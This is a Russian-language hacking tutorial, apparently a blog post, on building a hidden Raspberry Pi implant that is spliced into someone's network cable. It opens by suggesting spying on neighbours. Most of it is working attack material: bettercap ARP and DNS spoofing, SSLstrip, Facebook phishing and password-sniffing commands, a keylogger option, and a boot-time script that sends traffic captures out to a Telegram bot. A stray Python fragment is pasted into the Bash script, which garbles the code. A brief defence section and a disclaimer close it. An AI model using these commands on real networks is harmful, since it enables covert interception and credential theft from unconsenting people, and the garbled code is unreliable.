Raspberry sPy: делаем шпионское устройство из Raspberry Pi

Все слышали про LAN Turtle, девайс от Hak5? Это прошлое. Сегодня мы научимся собирать и настраивать полноценный сетевой сниффер на базе Raspberry. Хочешь посмотреть чем развлекается твой сосед? Или узнать чем занимаются твои знакомые? Все, что надо это порезать провод и аккуратно скрутить 16 проводков.

Для реализации задуманного нам потребуется Raspberry Pi, сетевой адаптер USB и Power Bank или иной источник питания.

В этой статье мы поговорим о том, как превратить малинку в устройство для MITM атак и о том, как вы можете спасти себя или организацию от такой угрозы. 

Атака «человек посередине» (Man In The Middle) подразумевает тайное превращение в посредника между двумя сторонами; каждый думает, что разговаривает с другим, хотя на самом деле они оба разговаривают с атакующим. Злоумышленник может передать информацию без изменений (просто наблюдая за сообщением) или может изменить части сообщения для своих злых целей. Статья Википедии приводит примеры, а также предлагает контрмеры. Наиболее широко используемой контрмерой в настоящее время является использование SSL / TLS для проверки другой стороны в сообщении. TLS, однако, опирается на инфраструктуру открытых ключей, и уже были примеры хакеров, взломавших центры сертификации и выдавших поддельные сертификаты для выполнения атак «человек посередине» на сеансах HTTPS. Взлом центра сертификации выходит за рамки данной статьи, и мы ограничимся выполнением MITM-атаки на HTTP-трафик.

Установка ОС

Тут всё максимально просто, берем образ Kali для RPi тут и после устанавливаем ОС на нашу SD-карту (не менее 16 гигабайт).

Когда наша малина запуститься в систему можно будет войти (к примеру по ssh, если у вас нет HDMI кабеля для RPi) как пользователь kali с паролем kali, при желании вы можете сменить пароль командой passwd. По умолчанию у пользователя kali нет sudo прав, эту проблему мы решим добавлением пользователя с именем pi (вы можете использовать другое) и выдадим ему все необходимые права этими командами:

sudo useradd -m pi – Добавляем пользователя pi
passwd pi – Меняем пароль для pi
usermod -a -G sudo pi
a значит добавить (add)
-G sudo значит добавить пользователя в группу sudo пользователей
chsh -s /bin/bash pi – Указываем консоль для пользователя pi

После в файл /etc/wpa_supplicant.conf вы можете поместить следующее:

network={
    ssid="router_ssid"
    psk="wifi_password"
}

Таким образом вы укажете к какой WiFi сети подключаться и в дальнейшем сможете с телефона управлять RPi.

Настройка и установка программ

Когда новый пользователь создан можно переходить к настройке и установке софта на малину.

Сперва скачаем твики для RPi, клонируем этот ропозиторий https://github.com/Re4son/RPi-Tweaks командой git clone:

git clone https://github.com/Re4son/RPi-Tweaks

После переходим в директорию kalipi-config, делаем файл kalipi-configисполняемым sudo chmod +x kalipi-config и запускаем его sudo ./kalipi-config

В открывшемся меню настроек выбираем всё как на скриншотах, таким образом мы заставим нашу малину грузиться в указанного пользователя (kali либо pi) без ввода пароля.

Если вы привыкли к графической оболочке, то можно установить xrdp и добавить его в автозагрузку, таким образом вы сможете подключаться к рабочему столу малины используя свой телефон или другое устройство.

Начнем с обновления списка пакета репозиториев:

sudo apt-get update

Установим xrdp и добавим его в автозагрузку:

sudo apt-get install xrdp

Убедимся, что все поставилось без ошибок:

sudo service xrdp start
sudo service xrdp-sesman start

Если ошибок нет, можно добавлять в автозагрузку:

sudo update-rc.d xrdp enable
sudo systemctl enable xrdp-sesman.service

Перезагружаем малину и используя это приложение входим как пользователь pi или kali:

Для атаки MITM мы будем использовать bettercap и bridge-utils, установить которые можно этой командой:

sudo apt-get install bettercap bridge-utils

Bettercap

BetterCAP – это мощная, модульная/гибкая и переносимая инфраструктура атак MITM, созданная для выполнения различных типов атак на сеть. Он способен манипулировать трафиком HTTP, HTTPS и TCP в режиме реального времени, анализировать учетные данные и тд. Он был полностью переписан в 2018 году, кроме MITM так же обеспечивает мониторинг сети 802.11, BLE и многое другое. Тестеры на проникновение, реверс-инженеры и исследователи кибербезопасности могут найти этот инструмент очень полезным.

Выпуск второго поколения BetterCAP, в котором полностью реализована самая полная и усовершенствованная инфраструктура атак «человек посередине», поднимает такие атаки на совершенно новый уровень.

Bettercap перешел от приложения Ruby к скомпилированному приложению Go, которое позволяет работать даже на слабом оборудовании, обеспечивая при этом проксирование сотен соединений в секунду и пересылку десятков сотен пакетов. Благодаря смене языка и другим применяемым методикам, выросла производительность, оптимизировано использование ЦПУ и памяти. Чтобы автоматизировать работу программы и упростить использование, теперь применяются каплеты, которые управляют работой bettercap и её модулями. Примеры каплетов собраны в репозитории https://github.com/bettercap/caplets, вот некоторые из них:

“DNS Spoofing” – или “отравление DNS”


Этот метод даёт возможность не только добыть данные для авторизации на интернет ресурсе, но и получить полноценный удалённый доступ.

Хост, получив доменное имя, на которое необходимо попасть, обращается к DNS серверу, который в свою очередь указывает IP адрес, к которому привязано это доменное имя. Таким образом хост получает адрес, по которому сможет найти указанное доменное имя.

Суть метода в подмене IP адреса, к которому привязано доменное имя. То есть атакующий выставляет себя в качестве DNS сервера и отправляет необходимые IP адреса, а в случаях необходимости меняет IP адреса на нужные. Таким образом хост, запросивший IP адрес к доменному имени, получает поддельный IP адрес и, будучи уверенным что IP адрес верный, обращается к нему и попадает на заведомо ложный сервер.

Фишинг атака с отравлением DNS сервера имеет наибольшую продуктивность, так как, переходя на поддельную страницу веб ресурса, человек видит правильное доменное имя, которое ничем не отличается от настоящего, но сервер уже у атакующего. Находится на этом сервере всё что угодно. Человек вводит свои авторизационные данные и эти данные попадают к атакующему в чистом и правильном виде. Если фишинговая страница сделана правильно, с проверкой авторизационных данных и автоматической переадресацией на уже авторизированную страницу, то правильность данных 100% и никаких подозрений у атакуемого не возникнет.

Таким же образом можно заставить “обновить” свой софт, тем самым заразить удалённый хост и получить полноценный удалённый доступ. Это тоже будет фишинговая атака с отравлением DNS сервера и в основном она будет рассчитана на элементы СИ, но можно обойтись и без участия действий человека, на которого проводится атака.

Суть в подделке сервера путём DNS отравления, к которому обращается программа за обновлениями. Программа, запросив IP адрес, к которому привязано доменное имя, получает IP адрес сервера атакующего, на котором уже находятся заражённые файлы. Программа полагая что обновления появились, сама их скачивает и устанавливает на атакуемый хост без участия человеского фактора. Таким образом заражение удалённого хоста происходит незаметно, а атакующий имеет полноценный удалённый доступ. Конечно же если цель атакующего была именно удалённый доступ.

В DNS отравление минимум задействовано два модуля, это dns.spoof и arp.spoof.

Внедрение BeEF

BeEF – это платформа эксплуатации веб-браузеров. Для начала эксплуатации необходимо внедрить в веб-страницу JavsScript код. Каплеты beef-passive.cap и beef-active.cap делают именно это. Внедрением управляет файл beef-inject.js, поэтому если вы хотите изменить адрес или порт JavsScript файла, то нужно отредактировать именно этот файл.

Перед началом данной атаки вам нужно самостоятельно запустить службу BeEF, либо отредактировать каплеты, добавив туда соответствующую команду.

Первый каплет внедряет пассивно, второй – активно, используя перенаправление трафика с других хостов с помощью ARP-спуфинга.

Внедрение майнера

crypto-miner.cap внедряет майнер (файл). Вам самостоятельно нужно ввести свой ключ, отредактировав файл crypto-miner.js.

Замена загружаемого файла на полезную нагрузку

Каплет download-autopwn.cap в зависимости от атакуемого устройства подсовывает ему подходящий файл. Настройка выполняется в download-autopwn.cap. В паре идёт файл download-autopwn.js, который предназначен НЕ для внедрения в браузер, он используется в качестве скрипта для модуля http.proxy (т.е. управляет поведением bettercap и манипуляцией трафиком).

Кража паролей Facebook

Каплет fb-phish.cap показывает фальшивую страницу входа Facebook на 80 порту, прерывает попытки входа, используя http.proxy, печатает учётные данные и перенаправляет цель на реальный Facebook.

В паре идёт файл fb-phish.js, который является скриптом для модуля http.proxy.

Вам самим нужно позаботится о создании фейковой страницы входа и запуске сервера. В этом вам поможет файл с инструкциями Makefile, если у вас скачан репозиторий каплетов, в командной строке выполните:

cd caplets/www/
make

И уже после в bettercap:

set http.server.address 0.0.0.0
set http.server.path caplets/www/www.facebook.com/
set http.proxy.script caplets/fb-phish.js
http.proxy on
http.server on

Сбор HTTP запросов

http-req-dump.cap использует модуль http-req-dump.js, он написан на JavaScript и собирает разнообразные HTTP запросы. Можно комбинировать со сниффингом, для этого раскомментируйте соответствующие строки в файле http-req-dump.cap.

Сбор логинов и паролей с помощью невидимых форм

Суть атаки в следующем: если на сайте вы ранее вводили логин и пароль, то если на странице присутствует форма, браузер автоматически заполняет введённые ранее данные. Firefox делает это сразу, для Chrome требуется любое взаимодействие пользователя – например, клик в любом месте веб-страницы. Эта форма может быть невидимой. Итак, атакующий внедряет на страницы сайта невидимую форму, в которую браузер сам вводит логин и пароль, форма передаёт данные атакующему.

Реализовано в каплете login-man-abuse.cap.

Имеется демо-страница, на которой вы можете увидеть пример атаки: введите любой e-mail и пароль, затем вас перекинет на другую страницу, которая «угадает», что именно вы ввели ранее.

Перенаправление IPv4 DNS запросов используя DHCPv6 ответы

Описание атаки на английском языке: https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/

Примерная суть в том, что в современных версиях Windows система настроена отдавать предпочтение IPv6. Атакующий отвечает DHCPv6 сообщениями, предоставляет системе link-local IPv6 адрес и указывает хост атакующего в качестве DNS сервера. Далее выполняется атака по сценарию DNS-спуфинга.

Реализовано в mitm6.cap.

Сниффер паролей

Очень простой каплет simple-passwords-sniffer.cap. В нём показывается поиск данных по регулярному выражению и сохранение данных в файл, за это отвечают команды:

set net.sniff.regexp .*password=.+

set net.sniff.output passwords.cap

MITM атака

Для реализации такой атаки без доступа к WiFi или локальной сети, но имея доступ лишь к кабелю RJ45 (aka LAN aka Ethernet) нам понадобиться:

  • 1 х RPi
  • 1 x USB-A на RJ45 (aka LAN aka Ethernet)
  • 1 x кабель RJ45 (aka LAN aka Ethernet)  
  • 1 x Powerbank
  • 1 x кабель USB-A на USB-C

Создание скрипта для автоматизации bettercap

Прежде чем мы приступим в файле /etc/sysctl.conf нужно раскоментировать строку:

net.ipv4.ip_forward=1

После того как вы это сделали RPi сможет пропускать через себя трафик.

Писать “программу” мы будем на скриптовом языке Bash, если кратко, то это сценарии командной строки, подробнее можно ознакомиться тут.

Смена МАС адреса:

echo -e "Change MAC address? (y/n)" # Спрашиваем пользователя нужно ли менять мак
read -p '--> ' user_descison1  # Записываем введенные данные в переменную
if [[ "$user_descison1" == "y" ]]; then
     eval "arp -e"  # Запуск ARP, который покажет все маки в сети доступные нам
     echo -e "Enter mac address:"  # Просим пользователя ввести мак
     read -p '--> ' usermac  # Записываем введенные данные в переменную
     echo -e "Enter interfrace (eth1)"  # Просим пользователя ввести интерфейс для смены мака
     read -p '--> ' userinterf  # Записываем введенные данные в переменную
     # Команда запустит MAC Changer,который изменит мак на указаный пользователем
     eval "macchanger -m $usermac $userinterf"
     # После смены MAC ждем 3 секунды что бы все применилось
     sleep 3
else
     echo -e "Skipping...\n"
fi

Если вам знаком Python или любой другой ЯП то синтаксис bash не покажется сложным.

Echo – выводит сообщения в консоль, в то время как read считывает данные введенные пользователем и если после стоит название переменной как в нашем случае, он записывает данные туда. Если добавить аргумент -е, то возможно будет использовать \n для переноса строки.

Eval – выполняет команды.

Далее мы создадим собственный каплет, используя выбор пользователя:

Запуск Bettercap

echo "Do you want inject JS keyloger? (y/n)" # Спрашиваем пользователя нужно ли инжектить JS код
read -p '--> ' user_descison4  # Записываем введенные данные в переменную
# JSKeylogger
# Если пользователь ввел y, то при создании каплета мы учтем его выбор, аналогично будет и с последующими вопросами
echo -e "Moving next...\n"
echo "Do you want to enable sslstrip? (y/n)" # Спрашиваем пользователя нужно ли включать функцию SSLstrip
read -p '--> ' user_descison5  # Записываем введенные данные в переменную
# SSLStrip
import subprocess
#from dbupload import upload_file #Used for Dropbox uploading
from datetime import datetime # Used the genreate the filename
count = 0 #Counts the number of files that have been dumped
while True:
    count = count + 1
    fileName = str(datetime.now().day) + "-" + str(datetime.now().month) + "-" + str(datetime.now().year) + " AT " + str(datetime.now().hour) + "-" + str(datetime.now().minute)
    tcpDumpProcess = subprocess.Popen(["tcpdump", "-Z", "root", "-w", fileName, "-i", "bridge0", "-G", "60", "-W", "1"]) #Sets up the TCPDump command
    tcpDumpProcess.communicate() #Runs the TCPDump command
    print "Currently dumping file number " + str(count) + "."
    #upload_file(fileName,"/",fileName, "YOUR_EMAIL","YOUR_PASSWORD") #Uploads the dump file to dropbox
    #print "File uploaded Successfully"
echo "Enter path to save captured data (/home/kali/Desktop/captured.cap)"
read -p '--> ' path  # Записываем введенные данные в переменную

Создание каплета

if [[ "$user_descison4" == "y" ]] && [[ "$user_descison5" == "y" ]]; then  # Если на вопросы пользователь отвечал y, каплет будет содержать обе функции (Инжект JS кода и SSLstrip)
     echo -e "net.probe on\nsslstrip on\nset arp.spoof.fullduplex true\narp.spoof on\nnet.sniff on\nset net.sniff.output $path\nhstshijack/hstshijack" > caplet.cap
elif [[ "$user_descison4" == "y" ]] && [[ "$user_descison5" == "n" ]]; then  # Если на вопрос про инжект JS кода пользователь отвечал y, каплет будет содержать только функцию инжекта JS кода
     echo -e "net.probe on\nset arp.spoof.fullduplex true\narp.spoof on\nnet.sniff on\nset net.sniff.output $path\nhstshijack/hstshijack" > caplet.cap
elif [[ "$user_descison4" == "n" ]] && [[ "$user_descison5" == "n" ]]; then  # В этом случае будет запущен обычный снифинг трафика, без инжекта JS или SSLstrip
     echo -e "net.probe on\nset arp.spoof.fullduplex true\narp.spoof on\nnet.sniff on\nset net.sniff.output $path" > caplet.cap
else  # В этом случае будет запущен обычный снифинг трафика, без инжекта JS или SSLstrip
     echo -e "net.probe on\nset arp.spoof.fullduplex true\narp.spoof on\nnet.sniff on\nset net.sniff.output $path" > caplet.cap
fi  
eval "bettercap -caplet caplet.cap" # Запуск Bettercap с каплетом который мы создавали выше 

Скрипт берет выбор пользователя и по его решениям создает каплет, после чего запускает bettercap. Если пользователь везде выбирал да, то каплет будет содержать в себе возможность инжекта js кода и включение SSLStrip. Скачать весь проект вы можете по ссылке ниже, там же вы найдете кейлоггер на JS.

https://github.com/f4rber/INTERCEPTOR

SSLStrip – это тип атаки MITM, который заставляет браузер жертвы обмениваться данными с злоумышленником по HTTP, вместо HTTPS. Для этого «обрезаются» https://URL-адреса и становятся http://URL-адресами.

С bettercap мы разобрались, теперь вопрос в том, как перенаправить трафик с одного адаптера на другой? Все очень просто, для этого будет использоваться утилита – bridge-utils, с ее помощью мы создадим виртуальный адаптер, который послужит “мостом” между нашими eth0 и eth1.

Для этого пишем следующую команду:

sudo nano /etc/init.d/bridgegen

В появившийся редактор nano мы вставляем следующее:

ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0
brctl addbr bridge0
brctl addif bridge0 eth0
brctl addif bridge0 eth1
ifconfig bridge0 up

Сохраняем файл CTRL+X > Y > Enter, делаем его исполняемым и обновляем rc.d:

sudo chmod +x /etc/init.d/bridgegen
sudo update-rc.d bridgegen defaults

Если вы хотите полностью автоматизировать работу, то для вас мы подготовили небольшой скрипт на питоне, который так же нужно будет добавить в автозагрузку. Программа будет делать логи трафика и отправлять в телеграм бота:

import subprocess
from requests import post
from datetime import datetime  # Для генерации имени файла
c = 0  # Количество файлов которые были отправлены

bot_token = "ТОКЕН Бота"
chat_id = "Ваш айди"

Сделаем цикл while, в котором будем отправлять логи:

while True:
    count = c + 1  # С новым "кругом" к 0 будет добавляться 1, это нужно для того что бы мы понимали сколько файлов уже было отправлено
    # Имя файла в котором
    fileName = str(datetime.now().day) + "-" + str(datetime.now().month) + "-" + str(datetime.now().year) + "-" + str(datetime.now().hour) + ":" + str(datetime.now().minute)
    # Указываем команду
    tcpDumpProcess = subprocess.Popen(["tcpdump", "-Z", "root", "-w", fileName, "-i", "bridge0", "-G", "60", "-W", "1"])
    # Запускаем процесс с командой
    tcpDumpProcess.communicate()

    # Файл для отправки
    to_send = open(fileName, 'rb')
    files = {'document': to_send}

    # Пишем номер файла который будет отправлен
    print("Текущий номер файла " + str(count) + ".")

    # Отправляем файл
    post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id, files=files)
    print("Файл отправлен успешно")

Открываем nano и вставляем код туда:

sudo nano /etc/init.d/tcpdump.py

Сохраняем файл CTRL+X > Y > Enter, делаем его исполняемым и обновляем rc.d:

sudo chmod +x /etc/init.d/tcpdump.py
sudo update-rc.d tcpdump.py defaults

Теперь при каждом запуске RPi у нас будет активироваться скрипт bridgegen, который создаст нужный адаптер и тем самым пустит трафик через малину, ниже пример того, как нужно подключать RPi к сети.

Нам остается только подключиться по SSH или RDP и запустить bettercap с нужным каплетом.

После запуска программа сразу обнаружила роутер, и таким образом мы смогли перехватывать трафик проходящий через RPi.

На http://testing-ground.scraping.pro/login?  мы смогли перехватить логин и пароль который я вводил с другого компьютера, при этом мы даже не находимся в одной локальной сети:

При желании вы можете воспользоваться одним из готовых каплетов про которые мы рассказывали выше, просто указав его при запуске:

У нас на руках девайс, управляемый через WiFi, способный не только перехватывать любой траффик, но и доставать пароли, достаточно просто его врезать в провод аплинка того человека, для кого вы проводите пен тест.

Как защитить себя от такого типа угроз

Ключ к предотвращению атак «человек посередине» такой же, как и для большинства других атак: будьте осторожны и обновляйте свои системы. Вот несколько советов и приемов:

  • Остерегайтесь ссылок, по которым вы переходите, чтобы избежать попыток фишинга, которые приводят к атакам MiTM.
  • Постоянно обновляйте операционную систему и браузер. Таким образом, злоумышленники не смогут использовать эксплойты для установки вредоносного ПО на ваш компьютер.
  • Используйте безопасный протокол WiFi на вашем маршрутизаторе (WPA2, WPA3, если он доступен), используйте сложный пароль WiFi, измените учетные данные по умолчанию для вашего маршрутизатора и обновите микропрограмму маршрутизатора. Таким образом, злоумышленники не смогут скомпрометировать вашу локальную сеть.
  • Ограничьте вашу активность в общедоступных сетях или используйте VPN-подключение. VPN добавит дополнительный уровень безопасности.
  • Убедитесь, что используемые вами DNS-серверы (DNS-кеши) защищены. Проверьте конфигурацию на вашем маршрутизаторе (адреса DNS обычно предоставляются через DHCP). В случае сомнений используйте общедоступные кеши DNS Google: 8.8.8.8 и 8.8.4.4.
  • Если у вас есть веб-сайт или веб-приложение, регулярно сканируйте его на наличие уязвимостей и устраняйте проблемы. Уязвимости могут привести к потенциальной атаке MiTM на ваших пользователей или утечке данных.

Если у вас есть веб-сайт или веб-приложение, включите HSTS (HTTP Strict Transport Security). Если вы это сделаете, ваш сайт будет поддерживать HTTPS-соединения. Это защитит ваших пользователей от взлома SSL.

Вас ебали, ебут и будут ебать. Государство, хакеры, чиновники.

Остановить эту свингер-пати невозможно. Но я научу предохраняться. Я покажу и расскажу вам то о чём не пишет журнал “Хакер” и не рассказывают или просто не знают другие каналы. Здесь ты найдешь подборку лучших статей и видеоматериалов на тему кибербезопасности. Все, от аудита Wi-Fi до вскрытия автомобилей (если вы потеряли ключи). А также горячие новости с авторскими коментариями.

Обо всем этом вам расскажу только я на канале телеграм @cybersecs или на сайте cybersec.org.

Файл:Biohazard symbol.svg — Википедия

ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ ИЛИ ПОЛУЧАТЬ НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К СИСТЕМАМ. ДАННАЯ СТАТЬЯ НАПРАВЛЕНА НА ТО, ЧТОБЫ УКАЗАТЬ НА ПРОБЛЕМЫ С СИСТЕМАМИ И ПРЕДОСТЕРЕЧЬ ПОЛЬЗОВАТЕЛЕЙ ОТ ВОЗМОЖНЫХ АТАК.